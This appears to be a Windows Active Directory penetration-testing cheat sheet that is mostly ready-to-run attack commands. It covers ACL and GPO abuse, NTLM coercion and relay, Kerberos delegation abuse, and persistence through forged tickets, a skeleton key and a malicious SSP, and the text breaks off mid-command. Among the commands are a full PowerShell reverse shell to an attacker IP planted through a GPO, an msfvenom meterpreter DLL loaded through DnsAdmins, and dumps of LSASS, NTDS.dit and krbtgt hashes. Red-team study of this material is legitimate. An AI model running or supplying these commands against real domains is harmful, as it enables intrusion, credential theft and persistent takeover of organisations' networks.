WriteProperty/AllExtendedRights/GenericWrite Self With one of this rights we can add a new member to the group net rpc group addmem user2 -U domain.local/user1%password -S On a GPO WriteProperty on a GPO We can update a GPO with a scheduled task for example to obtain a reverse shell ./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "" -powershell -command "\$client = New-Object System.Net.Sockets.TCPClient('attacker_IP',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" -taskname "The task" -description "Important task" -user Create a local admin ./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "" Manage Group Policy Links Whith this right or GenericWrite on a GPO we can manipulate its gPLink attribute in order to apply an evil GPO to all the children of a descendant OU, even the ones with adminCount=1. All the explains about this attack are presented here. The attack will defer if the final target is a user or a machine account. Machine Create a new Windows Server virtual machine connected to the network and install the domain controler features on it. Register it under a subdomain of the current domain (evil.domain.local) Create an empty GPO on this DC Reset the machine account password (to remove the unprintable characters) Reset-ComputerMachinePassword Stop the antivirus and dump the LSASS to retrieve the password lsassy -d 'evil.domain.local' -u administrator -p password Create a new computer account on the target domain with a LDAP SPN and the same password as the created DC python3 addcomputer_LDAP_spn.py -computer-name EVIL -computer-pass 'domain.local'/user1:password Create a new DNS record on the target domain to point the evil subdomain to the attacker machine python3 dnstool.py -u 'domain.local\user1' -p password -r 'evil' -a add -d Configure the OUned.py tool with the following example. The [SMB] section must be setup to embedded and just a share name Run OUned.py sudo python3 OUned.py --config config.ini User Similarly, create an evil domain controler and a computer account with a LDAP SPN Create a second evil DC with the same domain as the target domain (domain.local). As the first evil DC, reset and retrieve its password Create a new SMB share on the second evil DC New-SmbShare -Name "evil" -Path "C:\Evil" Grant-SmbShareAccess -Name "evil" -AccountName "DOMAIN.LOCAL\administrator" -AccessRight Full Create a new computer account on the target domain with the HOST SPN and add a DNS record resolving this machine to the attacker IP python3 addcomputer.py -method LDAPS -computer-name EVIL2 -computer-pass 'domain.local'/user1:password python3 dnstool.py -u 'domain.local\user1' -p password -r 'evil2' -a add -d Configure the OUned.py tool with the following example. The [SMB] section must be setup to forwarded with the other information setup Run OUned.py sudo python3 OUned.py --config config.ini On an OU GenericWrite With at least GenericWrite on an OU, it it possible to perform the same attacks presented in the GPO section with Manage Group Policy Links. Create msDS-DelegatedManagedServiceAccount or Create all child objects This is the BadSuccessor attack, presented in great details here. At least one Domain Controller must be a Windows Server 2025 to perform this attack (this permits to work with dMSA accounts). # Find users with sufficient privileges on OUs with NetExec nxc ldap -u user1 -p password -M badsuccessor # Enumerate and exploit with BadSuccessor.py # Enumerate schema python3 badsuccessor.py -u user1 -p password -d domain.local --check-schema # Find ALL writable OUs with detailed permissions python3 badsuccessor.py -u user1 -p password -d domain.local --enumerate # Attack with Administrator privs inheritance python3 badsuccessor.py -u user1 -p password -d domain.local --attack --target Administrator --ou-dn --dmsa-description "Pentest" # Extract credentials from the tickets' key package python3 badsuccessor.py -u user1 -p password -d domain.local --extract-creds --targets Administrator,krbtgt,svc_sql On the domain/forest DS-Replication-Get-Changes + DS-Replication-Get-Changes-All We can DCSync DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set It is possible to realize a DirSync attack, as presented here. This attack is presented in the Active Directory cheatsheet. Account Operators The members of this group can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the Server Operators group members which can authenticate on the DC. Another possibility, is to configure an AORTA attack, presented in this section. Add user to LAPS groups net rpc group addmem 'LAPS ADM' user2 -U domain.local/user1%password -S net rpc group addmem 'LAPS READ' user2 -U domain.local/user1%password -S Read LAPS password nxc ldap -u user2 -p password -M laps -o computer="" DnsAdmins It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM). In case the DC also serves as DNS, this will provide us escalation to DA. Need privileges to restart the DNS service. #Generate the DLL msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=1234 -f dll > rev.dll #On the DNS machine, modify the server conf nxc smb -u user1 -p password -X "dnscmd.exe /config /serverlevelplugindll \\\rev.dll" #### Restart DNS services.py 'domain.local'/'user1':'password'@ stop dns services.py 'domain.local'/'user1':'password'@ start dns Schema Admins These group members can change the "schema" of the AD. It means they can change the ACLs on the objects that will be created IN THE FUTUR. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present. This attack is presented in the Active Directory cheatsheet. Backup Operators Can generally log in on any machines of the domain. File system backup Can backup the entire file system of a machine (DC included) and have full read/write rights on the backup. To backup a folder content: nxc smb -u user1 -p password -X "robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E" To backup with Diskshadow + Robocopy: Create a script.txt file to backup with Diskshadow and upload it on the target set verbose onX set metadata C:\Windows\Temp\meta.cabX set context clientaccessibleX set context persistentX begin backupX add volume C: alias cdriveX createX expose %cdrive% E:X end backupX Backup with diskshadow /s script.txt in the netexec command parameter Retrieve the backup with robocopy and send the NTDS file in the current folder : robocopy /b E:\Windows\ntds . ntds.dit (still with NXC) Then retrieve the SYSTEM registry hive to decrypt and profit reg save hklm\system c:\temp\system (always) Or, to do everything automatically: nxc smb -u user1 -p password -M backup_operator Registry read rights The Backup Operators can read all the machines registry reg.py -dc-ip 'domain.local'/'backup$':'Password123'@server.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' #Backup the SAM, SECURITY and SYSTEM registry keys reg.py -dc-ip 'domain.local'/'backup$':'Password123'@server.domain.local backup -o \\\share GPOs read/write rights Normally the Backup Operators can read and rights all the domain and DC GPOs with robocopy in backup mode Found the interesting GPO with Get-NetGPO . For example Default Domain Policy in the Domain Controller policy Get the file at the path \\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf and add whatever you want in it Write the file with robocopy: nxc smb -u user1 -p password -X 'robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB' Key Admins Members of this group can perform Shadow Credentials attacks against any objects, including the domain controllers. AD Recycle Bin Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties. This attacke is presented in the Active Directory cheatsheet. Authentication capture, coerce and relay Capture, coerce and leak Different ways to obtain and catch NTLM authentications and retrieve a NTLM response. Responder Change the authentication challenge to 1122334455667788 in the Responder conf file in order to obtain an easily crackable hash if NTLMv1 is used. sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc): # Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose responder -I interface_to_use -wPdDv With enough privileges on a machine, NTLMv1 can be detected like this: nxc smb -u user1 -p password -M ntlmv1 Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine): # --disable-ess will disable the SSP, not always usefull responder -I interface_to_use -wdDv --lm --disable-ess NTLMv1 response can be cracked on crash.sh (we miss you guy). Leak Files With write rights on a SMB share, it is possible to drop a .lnk or .scf file to grab some user hashes: nxc smb -u user1 -p password -M slinky -o SERVER= -o NAME= nxc smb -u user1 -p password -M scuffy -o SERVER= -o NAME= #To clean nxc smb -u user1 -p password -M slinky -o CLEANUP=True nxc smb -u user1 -p password -M scuffy -o CLEANUP=True MITM6 Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay: mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v Here for a Kerberos relay to ADCS: mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce Exploits to coerce Net-NTLM authentication from a computer. PetitPotam can be used without any credentials if no patch has been installed. #PetitPotam ./petitpotam.py -u user1 -p password -d domain.local -pipe all #PrinterBug ./dementor.py -u user1 -p password -d domain.local #ShadowCoerce ./shadowcoerce.py -u user1 -p password -d domain.local #DFSCoerce ./dfscoerce.py -u user1 -d domain.local #CheeseOunce via MS-EVEN ./cheese.py domain.local/user1:password@ Multi coerce Try all the techniques above in one command with this. coercer.py coerce -u user1 -p password -d domain.local -t -l -v PrivExchange Coerce Exchange server authentication via PushSubscription (now patched): python3 privexchange.py -ah -u user1 -p password -d domain.local MSSQL Server With xp_dirtree. WebClient Service If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay). Check if WebClient is running on machines: webclientservicescanner domain.local/user1:password@ If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid NETBIOS name and not its IP. The NETBIOS name can be obtained with Responder in Analyze mode, or by adding a DNS record in the ADIDNS. #Responder technique responder -I interface_to_use -A #ADIDNS technique python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "attacker.domain.local" -d #Coerce with PetitPotam for example ./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker_NETBIOS@80/test.txt" Otherwise, it's possible to force an HTTP authentication with a LLMNR poisoning by changing the error code returned. #With Responder + smbserver #Start smbserver in a first terminal with authentication required python3 smbserver.py $NAME . -smb2support -username notexist -password notexist #Start Responder in a second terminal responder --interface "eth0" #Or only with Responder responder --interface "eth0" -E NTLM and Kerberos relay SMB without signing Create a list of computer without SMB signing: nxc smb --gen-relay-list list.txt ntlmrelayx If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC if NTLMv2 is vulnerable to CVE-2019-1040, --remove-mic can be used. Also useful with NTLMv1. Multiple targets can be specified with -tf list.txt. Enumeration #With attempt to dump possible GMSA and LAPS passwords, and ADCS templates ntlmrelayx.py -t ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl SOCKS ntlmrelayx.py -t smb://target -socks ntlmrelayx.py -t mssql://target -socks ntlmrelayx.py -t ldaps://target -socks Creds dump ntlmrelayx.py -t smb://target DCSync if the target in vulnerable to Zerologon ntlmrelayx.py -t dcsync://dc Privesc Add an user to Enterprise Admins. ntlmrelayx.py -t ldap://dc --escalate-user user1 --no-dump Create a computer account #Create a new computer account through LDAPS ntlmrelayx.py -t ldaps://dc_IP --add-computer --no-dump --no-da --no-acl #Create a new computer account through LDAP with StartTLS ntlmrelayx.py -t ldap://dc_IP --add-computer --no-dump --no-da --no-acl #Create a new computer account through SMB through the SAMR named pipe (https://github.com/SecureAuthCorp/impacket/pull/1290) ntlmrelayx.py -t smb://dc_IP --smb-add-computer EVILPC Kerberos Delegation Kerberos RBCD are detailled in the following section. #Create a new computer account through LDAPS and enabled RBCD ntlmrelayx.py -t ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl #Create a new computer account through LDAP with StartTLS and enabled RBCD ntlmrelayx.py -t ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl #Doesn't create a new computer account and use an existing one ntlmrelayx.py -t ldap://dc_IP --escalate-user --delegate-access --no-dump --no-da --no-acl Shadow Credentials ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$' From a mitm6 authent #Attempts to open a socks and write loot likes dumps into a file ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks Targeting GPO Attack GPO from an unauthenticated point of view (by intercepting a NTLM authentication) cannot be performed only through LDAP, since the Group Policy Template needs to be modified via SMB. Read this article to better understand. First, use ntlmrelayx to obtain full rights on the GPC via LDAP for a controlled account (or create a new one) ntlmrelayx -t ldaps:// -wh ':8080' --http-port '80,8080' -i #When relay is successful, use nc to obtain a LDAP shell nc 127.0.0.1 11000 add_computer ATTACKER Password123 write_gpo_dacl ATTACKER$ {} Then, modify the GPO with the controlled account python3 gpoddity.py --gpo-id '' --domain 'domain.local' --username 'ATTACKER$' --password 'Password123' --command '' --rogue-smbserver-ip '' --rogue-smbserver-share 'evil' Relay to WinRMs If NTLMv1 is enabled on the source server and accepted by the target, and the target server exposes the WinRMs service (over HTTPS), without forcing CBT. Use this PR. #Perform the relay ntlmrelayx -t winrms://target.domain.local -smb2support #Use the opened WinRMs shell nc 127.0.0.1 11000 CVE-2025-33073 ADCS ESC8 & 11 SCCM primary site takeover krbrelayx To relay authentication from a mitm6 DNS spoofing to ADCS: krbrelayx.py --target http://CA.domain.local/certsrv -ip --victim target$ --adcs --template Machine Kerberos relay over SMB All explains here. First, register the specific DNS record: dnstool.py -u "domain\\user1" -p "password" -r "$ADCS_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "attacker_IP" --action add "DC_IP" --tcp Then, coerce the target to the registered record, with PetitPotam for example, and relay: Petitpotam.py -d domain.local -u user1 -p password "1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" dc.domain.local krbrelayx.py -t 'http://.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'dc$' Kerberos relay to unsigned SMB If the relayed authentication is privileged, this will dump the SAM and LSA: krbrelayx.py -t smb://target.domain.local Kerberos relay from multicast poisoning When a web server requests Kerberos authentication, it does not use the destination URL to determine the SPN for which an ST is to be retrieved, but rather the response name of the DNS response. Nominally, these two elements should coincide. The client accesses a login URL, performs the DNS query for the server's FQDN, then performs the ST request from the DNS response, and constructs the AP-REQ. Explains here. #Responder with -N to spoof the answer name returned by LLMNR responses # is the server that will receive the relay, for example the PKI responder -I eth0 -N #Krbrelayx to actually perform the Kerberos relay, for example to the PKI krbrelayx.py --target 'http://CA/certsrv/' -ip --adcs --template User CVE-2025-33073 - Kerberos Reflective relay Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced. dnstool.py -u 'domain.local\user1' -p password -a add -r $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d # Or, to target any computer dnstool.py -u 'domain.local\user1' -p password -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d Modify krbrelayx.py to only provide Kerberos, and not NTLM, to ensure that NTLM will not be negociate. File: krbrelayx/lib/servers/smbrelayserver.py 156: blob['tokenOid'] = '1.3.6.1.5.5.2' 157: blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']), 158: MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']), 159: MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])]) PetitPotam.py -u user1 -p password -d domain.local $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support krbjack A tool to perform DNS updates thanks to the ZONE_UPDATE_UNSECURE flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the AP_REQ packets on the fly to reuse them. The port list is really important and must match all the open ports on the target to perform all thge forward. If not, a DOS will occure since clients will not be able to reach the services. MiTM and exec an executable on the target (SMB signing must be not required) krbjack --target-name --domain domain.local --dc-ip --ports --executable Just perform DNS poisoning without port forwarding and use the MiTM with ntlmrelayx. Be careful with the DOS risk krbjack --target-name --domain domain.local --dc-ip ntlmrelayx.py -t -smb2support Kerberos Delegations Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal. There are two main types of delegation: Unconstrained Delegation: the first hop server can request access to any service on any computer Constrained Delegation: the first hop server has a list of service it can request Unconstrained delegation A user request a TGT to the DC The user requests a ST for a service on a computer which is in Unconstrained Delegation The DC places user's TGT inside ST. When presented to the server with unconstrained delegation, the TGT is extracted from ST and stored in LSASS. This way the server can reuse the user's TGT to access any other resource as the user This behavior can be abused by extracting the TGT from the previous users stored in LSASS Enumerate principals with Unconstrained Delegation Works for computers and users findDelegation.py -dc-ip domain.local/user1:password #For another domain across trust findDelegation.py -target-domain domain.local/user1:password Unconstrained Delegation attack If we have enough rights against a principal (computer or user) in UD to add a SPN on it and know its password, we can try to use it to retrieve a machine account password from an authentication coercion. Add a new DNS record on the domain that point to our IP Add a SPN on the principal that point to the DNS record and change its password (will be usefull for the tool krbrelayx.py to extract the TGT from the ST) Trigger the authentication and grab the ST (and TGT in it) on krbrelayx that is listenning for it Since the principal is in Unconstrained Delegation, when the machine account will send the ST to the SPN it will automatically add a TGT in it, and because the SPN is pointing to us with the DNS record, we can retrieve the ST, decipher the ciphered part with the user password (the SPN is setup on the user, so the ST is ciphered with his password), and retrieve the TGT. #Add the SPN python3 addspn.py -u 'domain.local\user1' -p 'password' -s 'HOST/attacker.domain.local' -t 'target.domain.local' --additional #Create the DNS record python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '' --action add #Run krbrelayx with the hash of the password of the principal python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local #Trigger the coercion ./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker.domain.local" Constrained delegation In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by msDS-AllowedToDelegateTo attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS. To impersonate the user, Service for User (S4U) extension is used which provides two extensions: Service for User to Self (S4U2self) - Allows a service to obtain a forwardable ST to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION – T2A4D UserAccountControl attribute. Service for User to Proxy (S4U2proxy) - Allows a service to obtain a ST to a second service on behalf of a user. Enumerate users and computers with CD enabled findDelegation.py -dc-ip domain.local/user1:password #For another domain across trust findDelegation.py -target-domain domain.local/user1:password With protocol transition Any service can be specified on the target since it is not correctly checked. getST.py -spn 'cifs/target.domain.local' -impersonate administrator -hashes ':' -dc-ip domain.local/computer export KRB5CCNAME=./Administrator.ccache Without protocol transition In this case, it is not possible to use S4U2self to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section. Resource-based constrained delegation Wagging the Dog With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute msds-allowedtoactonbehalfofotheridentity and the computer can modified its own attribute (really usefull in NTLM relay attack scenario). Requirements The DC has to be at least a Windows Server 2012 Write rights on the target machine (GenericAll, GenericWrite, AllExtendedRights) Target computer object must not have the attribute msds-allowedtoactonbehalfofotheridentity set Enumerate users and computers with RBCD enabled findDelegation.py -dc-ip domain.local/user1:password #For another domain across trust findDelegation.py -target-domain domain.local/user1:password #Check the attribute on an account rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password Standard RBCD The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure msds-allowedtoactonbehalfofotheridentity on ServiceB. #Add RBCD from ServiceA to ServiceB rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ domain.local/user1:password #Verify property rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password #Get ServiceA TGT and then S4U getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':' -dc-ip domain.local/ServiceA$ export KRB5CCNAME=./Administrator.ccache With machine account creation Domain users can create some machines, ms-ds-machineaccountquota must not being to 0 Add a fake machine account in the domain Add it the to msds-allowedtoactonbehalfofotheridentity attribute of the target machine addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domain.local 'domain.local/user1:password' rbcd.py -action write -delegate-from ControlledComputer$ -delegate-to ServiceB$ domain.local/ControlledComputer$:ComputerPassword Use the S4USelf function with the fake machine (on an arbitrary SPN) to create a forwardable ticket for a wanted user (not protected) Use the S4UProxy function to obtain a ST for the impersonated user for the wanted service on the target machine getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -dc-ip domain.local/ControlledComputer$:ComputerPassword export KRB5CCNAME=./Administrator.ccache Skip S4USelf Attacker has compromised Service A, has sufficient ACLs against Service B to configure RBCD, and wants to attack Service B By social engineering or any other solution, an interesting victim authenticates to Service A with a ST Attacker dumps the ST on Service A (sekurlsa::tickets) Attacker configures RBCD from Service A to Service B as above Attacker performs S4UProxy and bypass S4USelf by providing the ST as evidence NOT TESTED IN MY LAB WITH IMPACKET getST.py -spn 'cifs/serviceB.domain.local' -additional-ticket ./ticket.ccache -hashes ':' -dc-ip domain.local/ServiceA$ Reflective RBCD With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, and run a full S4U to access to access the machine on behalf of another user. rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceA$ -k -no-pass domain.local/ServiceA$ getST.py -spn 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip domain.local/ServiceA$ Impersonate protected user via S4USelf request It is possible to impersonate a protected user with the S4USelf request if we have a TGT (or the creds) of the target machine (for example from an Unconstrained Delegation). With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC). getST.py -self -altservice 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip domain.local/ServiceA$ Bypass Constrained Delegation restrictions with RBCD Attacker compromises ServiceA and ServiceB ServiceB is allowed to delegate to time/ServiceC (the target) without protocol transition (no S4USelf) Attacker configures RBCD from ServiceA to ServiceB and performs a full S4U attack to obtain a forwardable ST for the Administrator to ServiceB Attacker reuses this forwardable ST as evidence to realise a S4UProxy attack from ServiceB to time/ServiceC Since the service is not protected in the obtained ticket, the attacker can change the ST from the previous S4UProxy execution to cifs/ServiceC #RBCD from A to B rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ -hashes ':' domain.local/ServiceA$ getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':' -dc-ip domain.local/ServiceA$ #S4UProxy from B to C with the obtained ST as evidence getST.py -spn 'cifs/serviceC.domain.local' -additional-ticket ./administrator.ccache -hashes ':' -dc-ip domain.local/ServiceB$ U2U RBCD with SPN-less accounts In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but ms-ds-machineaccountquota equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present here. Configure the machine account to trust the user account you control (NTLM Relay, with the machine account's creds,...) Obtain a TGT for the user via pass-the-hash and extract the session key from it with this PR: getTGT.py -hashes :$(pypykatz crypto nt 'password') 'domain.local'/'user1' describeTicket.py 'user1.ccache' | grep 'Ticket Session Key' Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT session key. The ST sent in the S4UProxy will be encrypted with the session key, but the KDC will try to decipher it with the user's long term key, this is why the LT key must be equal to the session key (WARNING !!! The user's password is now equal to an unknown value, you have to use a sacrificial account to realise this attack). Everything is explained here. smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'password'@'DC' Realize the S4USelf request with a U2U request. If U2U is not used, the KDC cannot find the account's LT key when a UPN is specified instead of a SPN. Then, use the ticket obtained in the U2U S4USelf request (ciphered with the session key), to perform a S4UProxy request. Use this PR to do it: KRB5CCNAME='user1.ccache' getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/target.domain.local" 'domain.local'/'user1' Finally, use the obtained ST to dump the machine LSA and SAM registers with secretsdump. RBCD from MSSQL server If we have sufficient access to a MSSQL server we can use the xp_dirtree in order to leak the Net-NTLM hash of the machine account. Additionally, the Web Service client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to @80): Create a DNS record in order to be able to leak the NTLM hash externally Use the xp_dirtree (or xp_fileexist) function to the created DNS record on @80. This will force the authentication and leak the hash Relay the machine hash to the LDAP server to add a controlled account (with a SPN for the further S4USelf request) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the target machine Now we can ask a ST for a user we want to impersonate for a service on the machine #Add the DNS python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '' --action add #On our machine, waiting for the leak #https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c python rbcd_relay.py 192.168.24.10 domain.local 'target$' #ON the MSSQL server SQLCMD -S -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin #Or with NetExec nxc mssql -u user1 -p password -M mssql_coerce -o L= #After the attack, ask for a ST with full S4U getST.py -spn cifs/target.domain.local -impersonate admininistrator -dc-ip domain.local/password Domain Persistence Sapphire ticket Similar to Diamond Ticket, but instead of decipher, modify, recipher and resign the PAC on the fly, this technique inject a fully new one PAC obtained via a S4USelf + U2U attack in the requested ticket. Full explains here. ticketer.py -request -impersonate 'Administrator' -domain 'domain.local' -user 'user1' -password 'password' -aesKey 'krbtgt_AES_key' -domain-sid '' 'blabla' Diamond ticket Blog here For the moment, the ticketer.py approach is not really attractive and the Sapphire Ticket attack is preferable, or use Rubeus on Windows. Golden ticket Dump krbtgt hash with DCSync secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/administrator:password@ Create TGT ticketer.py -domain domain.local -domain-sid -nthash -user-id -duration RODC Golden Ticket This attack is presented in the Active Directory cheatsheet. Silver ticket ticketer.py -domain domain.local -domain-sid -spn 'cifs/target' -nthash -user-id -duration Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT for the service account, is to impersonate an account via a request for a service ticket through S4USelf to an alternative service (and the opsec is better since the PAC is consistent): export KRB5CCNAME=./target_TGT.ccache getST.py -self -impersonate "Administrator" -altservice "cifs/target.domain.local" -k -no-pass "domain.local"/'target$' GoldenGMSA This attack is presented in the Active Directory cheatsheet. GoldenDMSA This attack is presented in the Active Directory cheatsheet. Skeleton key nxc smb -u 'Administrator' -p 'password' -M mimikatz -o COMMAND='misc::skeleton' Now, it is possible to access any machine with a valid username and password as "mimikatz" DSRM DSRM is Directory Services Restore Mode The local administrator on every DC can authenticate with the DSRM password It is possible to pass the hash of this user to access the DC after modifying the DC configuration Dump DSRM password nxc smb -u user1 -p password --sam Change registry configuration Need to change the logon behavior before pass the hash reg.py -dc-ip 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'DsrmAdminLogonBehavior' -vd 2 -vt REG_DWORD Now the DSRM hash ca be used to authenticate Custom SSP SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine. By patching LSASS (really instable since Server 2016) nxc smb -u user1 -p password -M mimikatz -o COMMAND='misc::memssp' By modifying the LSA registry Upload the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages : #Retrieve the actual values of Security Package reg.py -dc-ip 'domain.local'/'Administrator':'password'@dc.domain.local query -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -s #Append mimilib to the previous list reg.py -dc-ip 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -vd " mimilib" -vt REG_MULTI_SZ DACLs - AdminSDHolder AdminSDHolder is a solution that compares the ACLS of the objects with AdminCount=1 with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour. Attack With write privs on the AdminSDHolder object, it can be used for persistence by adding a user with Full Permissions to the AdminSDHolder object for example. When the automatic script will run, the user will be added with Full Control to the AC of groups like Domain Admins. dacledit.py -action write -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -principal user1 -rights FullControl -ace-type allowed -dc-ip 'domain.local'/'administrator':'password' Check Domain Admin ACLs dacledit.py -action read -target "Domain Admins" -principal user1 -dc-ip domain.local/user1:password DACLs - Interesting rights The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the On any objects in the ACLs attacks section. Cross-Trust Movement Attacks against trusts are generally more efficient from a Windows machine with Mimikatz and Rubeus. Child to parent domain Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the Enterprise Admins group in the SID history field. #The new Golden Ticket will be written at the path specified in -w raiseChild.py -w ./ticket.ccache child.domain.local/Administrator:password #Dump the Administrator's hash of the root domain raiseChild.py child.domain.local/Administrator:password #PSEXEC on a machine raiseChild.py -target-exec child.domain.local/Administrator:password Across forest SID History attacks If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an RID > 1000 must be indicated. Get the Trust Key secretsdump.py -just-dc-user '' domain.local/Administrator:password@ If no filtering : forge a referral ticket or an inter-realm Golden Ticket and request for a ST ticketer.py doesn't work really well with inter-realm TGT, it's preferable to use Mimikatz for this one. #Referral ticket ticketer.py -domain domain.local -domain-sid -extra-sid - -aesKey -spn "krbtgt/targetDomain.local" #Inter-realm Golden Ticket ticketer.py -domain domain.local -domain-sid -extra-sid - -nthash export KRB5CCNAME=./ticket.ccache getST.py -k -no-pass -spn 